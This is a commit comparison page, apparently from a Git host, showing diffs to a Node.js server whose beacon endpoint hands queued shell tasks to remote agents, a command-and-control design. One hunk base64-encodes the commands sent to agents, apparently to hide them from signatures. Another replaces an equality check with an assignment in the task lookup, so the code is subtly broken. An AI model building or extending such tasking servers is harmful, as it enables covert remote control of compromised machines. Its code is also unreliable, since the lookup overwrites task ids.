Compare commits
13 Commits
master
...
sig-change
Author | SHA1 | Date | |
---|---|---|---|
b92335beed | |||
ea4bb7ba7a | |||
|
2c9a649330 | ||
|
a1cc49085e | ||
|
e7b87cca54 | ||
|
3c4cd42334 | ||
|
1a19d9b6f7 | ||
|
f9d6aed78d | ||
|
79a948c939 | ||
|
c418e6dba2 | ||
|
8f0cb0b7b6 | ||
|
955429f4ab | ||
|
144518da57 |
@ -121,7 +121,7 @@ app.get('/beacon/:agentId', (req, res) => {
|
||||
agentStore.updateAgentBeaconTime(agentId)
|
||||
const task = taskStore.getNextTaskForAgent(agentId)
|
||||
if (task) {
|
||||
res.status(200).send(`${task.id}||${task.command}`)
|
||||
res.status(200).send(`${task.id}||${Buffer.from(task.command).toString('base64')}`)
|
||||
} else {
|
||||
res.status(200).send('sleep')
|
||||
}
|
||||
|
@ -3,12 +3,10 @@ const moment = require('moment')
|
||||
const Agents = () => {
|
||||
const obj = {}
|
||||
obj.agents = []
|
||||
obj._agentId = 0
|
||||
|
||||
obj.addAgent = (os, ip, profile, interval) => {
|
||||
const agent = {}
|
||||
obj._agentId += 1
|
||||
agent.id = obj._agentId
|
||||
agent.id = obj.agents.length + 1
|
||||
agent.os = os
|
||||
agent.ip = ip
|
||||
agent.profile = profile
|
||||
|
@ -17,7 +17,7 @@ const Tasks = () => {
|
||||
}
|
||||
|
||||
obj.getTaskById = (taskId) => {
|
||||
const task = obj.tasks.find(t => t.id === taskId)
|
||||
const task = obj.tasks.find(t => t.id = taskId)
|
||||
return task
|
||||
? task
|
||||
: null
|
||||
|
Loading…
x
Reference in New Issue
Block a user